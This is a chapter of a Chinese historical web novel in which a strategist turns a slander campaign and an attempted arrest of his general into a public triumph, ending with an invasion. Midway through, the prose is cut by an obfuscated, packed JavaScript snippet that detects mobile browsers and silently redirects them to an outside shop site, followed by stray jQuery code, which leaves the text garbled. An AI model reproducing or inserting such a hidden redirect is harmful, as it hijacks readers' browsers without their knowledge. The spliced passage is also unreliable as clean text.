文趣网 > 其他小说 > 天命主角都跪求我别走 > 5. 舆论初战
    月底。清川县。

    谣言里“该来劫粮”的萧家军,果然来了。

    可他们不是来抢的。萧长庆一身素甲,亲押十车军粮进城;闻讯赶来的清川百姓,早把长街挤得水泄不通。

    高锦立在最高那辆粮车上,一身灰袍,面上带着点懒洋洋的笑,大约只有他本人觉得自己挺端正的。

    他把这些日子那伙“行脚商人”散布的谣言,一条、一条,连日子带地点,当众点出来。

    每点破一条,他手一挥,身后一仓军粮便当众开囤、白花花地倾泻而下。

    那句萧军今日劫清川之粮的‘预言’,被眼前这堆成山的米、和百姓的千恩万谢,“嘎嘣”一下,打得粉粉碎。

    “乡亲们!他们说,萧军今日要来清川,劫你们的粮。”高锦的声音传遍全场,一只手却已不动声色地,缓缓抬起,“可萧军来了。是给你们,送粮来了!”

    满县先是死寂,旋即爆出震天的喝彩。

    而那几个混在人群里、专等着看“萧军劫粮”的“行脚商人”,脸“刷”地白了。他们想退,可四周那事先被高锦安排好的二十个“脚夫”,早死死咬住了他们。

    就在这时,高锦脑子里毫无征兆地“叮”了一声。

    【隐藏支线“灾年活民、收揽人望”达成:工分+900。】

    粮车上的高锦,眼神一凝,神色如常,那只高抬的手,依旧稳稳悬着。

    隐藏支线?接活头一天,那破系统念合同,可没念过这一条。

    他不动声色地把这声“叮”记在了心里。

    ‘有意思。这笔账,回头单算。’

    可这台戏,没他想的那么顺。

    喝彩声还没落,长街尽头,一阵甲胄铿锵。一队披甲的官兵簇拥着一个穿青袍、捧着官印的中年人,分开人潮,直逼粮车。

    “好一出‘赈灾’。”那巡按举起官印,皮笑肉不笑,身后甲士齐齐按刀,“萧长庆!你身为边将,未奉一道圣旨,擅开军仓、私散军粮,已是死罪;如今更当着千百百姓的面,施粮市恩、邀买人望。这是养寇自重、图谋不轨,铁证如山!”

    “来人!”他猛地一指萧长庆,厉声暴喝,“拿下逆贼萧长庆,就地锁拿,押解进京,明正典刑!”

    甲士拔刀,齐步上前,雪亮的刀光,逼向粮车。

    满街,霎时,从沸腾的喝彩,冻成了死寂。百姓骇得连连后退,眼睁睁看着一队官兵,明晃晃地要当街锁拿那位刚给他们送了粮的将军。

    孙彪的手按上刀柄,额角青筋暴起。这一刀,比茶馆里那些阴风,毒上百倍!

    高锦替将军挣来的满城民心,转眼成了勒在萧长庆脖子上那一根写着“收买人心、图谋造反”的绳。

    送的粮越多、喊的人越响,这“反”字,钉得越死。眼看,就要血溅当场。

    萧长庆按住刀柄,杀气腾腾,正要拔——

    “将军,稍安勿躁。”粮车上,高锦没动,甚至,懒洋洋地笑了。

    “巡按大人,好大的官威。”他声如洪钟,压过满街甲胄之声,“只是大人下令拿人之前,怕是耳朵背了。方才这满街乡亲,谢的,是谁?”

    他声音陡然拔高:“乡亲们!这粮,是谁,开恩赈的?!”

    “谢——陛下——隆恩——!”

    万民的吼声,山呼海啸,几乎掀翻屋瓦。那一队拔了刀的甲士被这震天的声浪逼得下意识顿住了脚。

    高锦转回头,盯住那巡按,目如鹰隼。

    “萧将军一粒粮不敢居功,句句都说‘此乃天子仁德’。这满城人心,他半分没揽,全捧还给了陛下。大人却带着刀兵,要‘就地锁拿’他?好好好。”

    他向着满街百姓,声震长街,一字一顿:“那本主簿倒要替这满城乡亲,问大人一句,将军把民心捧还给陛下,是‘忠’;大人这一刀砍的是将军,可大人这道‘收买人心即谋反’的罪,砍的恐怕是......这满街跪着喊‘谢陛下’的百姓的脖子!”

    “领了天子赈济、谢了陛下天恩的人,在大人眼里,都是该锁拿的乱党、该问斩的逆贼?!”

    “你这是要替谁,把陛下的天恩、和陛下的子民,一刀两断?你,到底,安的什么心?!”

    那巡按脸上的血色“唰”地褪尽。他张着嘴,半个字也吐不出。再喝一声“拿下”,就是当众认下:天子的恩是假的、满城谢恩的百姓都是该杀的乱党。这话,他一个臣子担待得起么?方才那滔天的官威,眨眼,泄成一身冷汗。

    更要命的是,那一队甲士握刀的手松了。

    他们是边镇的兵,刀口朝外,杀的是胡虏。如今教他们对着一街刚领了赈粮、跪着谢君恩的乡亲,去拿一个‘送粮的将军’。这刀不仁不义,谁下得去?

    人群的风向,“轰”地调了头。

    高锦可不打算就这么放过他。他从袖中取出一纸供状高高举起,声震长街:

    “这些日子,在满城茶馆里散布‘萧军月底劫粮、要反’的那几个‘行脚商人’,是他的人;今日,带兵来‘就地锁拿’将军的,又是他。”他扬了扬手里那纸口供,正是三日前,被他‘请去喝茶’的那个望风喽啰一字不漏画了押的,“他奉京城某府密令,雇了一伙假扮行脚商人的细作,先编谣、再栽赃、最后亲自带兵来收尾。这是要把一个替你们血战守关的将军,一步一步逼成‘反贼’、栽成‘逆贼’!”

    “乡亲们!吓得你们这些日子睡不着觉的‘萧军要反’,从头到尾,是这个从京城千里迢迢赶来害你们将军的奸细,编出来的!”

    满街,先是死寂。

    旋即,炸了。

    被谣言吓了多日、又被这一队明晃晃的刀兵逼到墙角的边镇百姓,那股憋着的恐惧霎时化作滔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631018|206342||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    天的怒火。乱石、扁担、锄头,从四面八方砸向那个青袍巡按和混在人群里的几个“行脚商人”。

    “打死这帮害人的奸细!”

    “他们要害咱们将军!”

    那巡按连同他那几个细作被汹涌的人潮淹了进去。那一队甲士谁也没动,既不敢也不想替奸细挡这满街民愤。

    孙彪的二十个“脚夫”挤上前,从那几乎被踩烂的人堆里把那口出气多进气少的巡按、连同几个细作硬拖了出来。留着活口,是要押去州府,当着众官、众乡老,再审一遍。

    高锦立在粮车上,居高临下,望着那个被打得鼻青脸肿、官袍尽碎的巡按,淡淡道:

    “大人这一趟,本想拿萧将军一条命、栽他一个反名。可惜,”他佯叹一声,“这满城人心已经焊死了。你撒的每一句谎、带的每一个兵、喊的每一声‘拿下’都是在替我把‘妖人构陷忠良’六个字,亲手钉进这满城百姓心里。”

    “你不是来拿萧长庆的。”他俯视着那滩烂泥似的人,唇角扯起一抹见血的弧度,“你是来,给我递投名状的。”

    那巡按贴身的褡裢夹层里被搜出了一枚腰牌。

    牌子是上好的羊脂玉,刻着繁复的家纹。这是京城高门府第里才有的东西。再配上这几个"行脚商人"满口的京城官话,不必高锦多说,百姓自己就明白了:这哪是什么行脚客,分明是京城派来的奸细!

    铁证如山。

    百姓们这才惊觉:这些日子把他们吓得睡不着的"萧军要反",竟是有人从千里之外的京城,处心积虑派来的奸细,编了谎、还专挑日子地点栽赃,要把一个替他们血战守关的忠良,活活逼反、栽死!

    那股反风,霎时调了头。先前的恐惧与提防尽化作对“幕后妖人”的滔天怒火。

    “妖人构陷忠良”六个字,再不必高锦多费一句唇舌,满城百姓自己就替他喊遍了大街小巷。

    回营路上,高锦把腰牌递到萧长庆面前。将军只扫了一眼,脸色便一寸寸沉了下去,像结了层冰。

    “卫国公府。”他从牙缝里挤出四个字,“当朝太后的娘家,天子的母族。满京城最显赫的外戚。”

    帐里的空气,骤然凝住。

    高锦心里一沉。

    是这卫国公自己,容不下一个手握重兵的边将?还是......龙椅上那位的杀心,借了外戚的手?

    无论如何,舆论初战告捷。

    可就在高锦以为能松口气的当口,北疆的烽燧,毫无征兆地,一夜尽燃。

    亲兵连滚带爬冲进帐:“将军!高主簿!胡、胡骑叩边!黑压压一片,少说五万!他们……像是早算准了咱们军心浮动,专挑这个节骨眼来的!”

    高锦的心,沉了下去。

    有人,盼着借胡虏的手,把这位龙骧大将军,连同他这点还没散干净的军心,一块儿,埋了。